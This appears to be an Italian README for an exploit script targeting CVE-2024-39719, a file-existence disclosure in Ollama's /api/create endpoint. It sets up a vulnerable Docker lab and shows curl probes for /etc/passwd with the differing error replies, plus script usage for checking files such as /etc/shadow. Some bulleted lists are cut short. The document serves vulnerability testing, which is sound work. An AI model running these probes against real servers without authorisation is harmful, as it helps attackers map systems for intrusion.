
Script di exploit in Python per CVE-2024-39719, una vulnerabilità di divulgazione dell'esistenza di file in Ollama. Testa gli endpoint API per rilevare i percorsi dei file del server, aiutando nell'analisi delle vulnerabilità e nel penetration testing.
CVE-2024-39719 è una vulnerabilità di divulgazione dell'esistenza di file che colpisce Ollama versioni 0.3.14 e precedenti. Questa vulnerabilità consente agli aggressori di rilevare l'esistenza di file specifici sul server attraverso un endpoint API, portando potenzialmente a una fuga di informazioni.
Data di rilascio: 31 ottobre 2024
La vulnerabilità risiede nell'endpoint /api/create di Ollama. Quando un aggressore chiama l'API CreateModel con un parametro path, il server restituisce messaggi di errore diversi a seconda che il percorso esista o meno. Questo comportamento consente a un aggressore di determinare se un file o una directory specifica esiste sul server analizzando i messaggi di errore.
Il problema principale è che, durante la gestione dell'input utente, il sistema espone direttamente gli errori del filesystem al client invece di nascondere correttamente le informazioni sull'esistenza del percorso.
Questa vulnerabilità colpisce tutte le versioni di Ollama fino alla 0.3.14 inclusa.
Sebbene una vulnerabilità di divulgazione dell'esistenza di file possa inizialmente sembrare meno grave, può:
services:
ollama:
image: ollama/ollama:0.3.14
container_name: ollama
volumes:
- ollama:/root/.ollama
ports:
- "11434:11434"
volumes:
ollama:
docker compose up -d
http://your-ip:11434/.Inviare una richiesta utilizzando curl per tentare di accedere a un file inesistente:
curl "http://your-ip:11434/api/create" -d '{"name": "file-leak-existence","path": "/tmp/non-existing"}'
Risposta:
{"error":"error reading modelfile: open /tmp/non-existing: no such file or directory"}
Testare un file esistente, come /etc/passwd:
curl "http://your-ip:11434/api/create" -d '{"name": "file-leak-existence","path": "/etc/passwd"}'
Risposta:
{"error":"no FROM line for the model was specified"}
Analizzando questi diversi messaggi di errore, un aggressore può determinare se un percorso target esiste o meno, ottenendo informazioni sulla struttura dei file del server. Nota che le informazioni restituite dal server possono variare a seconda della versione.
Ollama ha risolto questa vulnerabilità nelle versioni più recenti. Le correzioni includono:
/api/create.Lo script Python fornito consente di testare se un server Ollama è vulnerabile a CVE-2024-39719.
requests, termcolorpip install requests termcolor
python CVE_2024_39719.py -u <ollama-server-url> [-f <file-to-check>]
-u, --url: URL del server Ollama (obbligatorio)-f, --file: File da verificare per l'esistenza (predefinito: "/etc/passwd")# Verifica se un server è vulnerabile
python CVE_2024_39719.py -u http://your-ip:11434
# Verifica se un file specifico esiste
python CVE_2024_39719.py -u http://your-ip:11434 -f /etc/shadow
Questo script è fornito solo a scopo educativo e per test di sicurezza legittimi. Assicurati sempre di avere la dovuta autorizzazione prima di testare qualsiasi sistema per vulnerabilità. I test non autorizzati potrebbero violare leggi e regolamenti.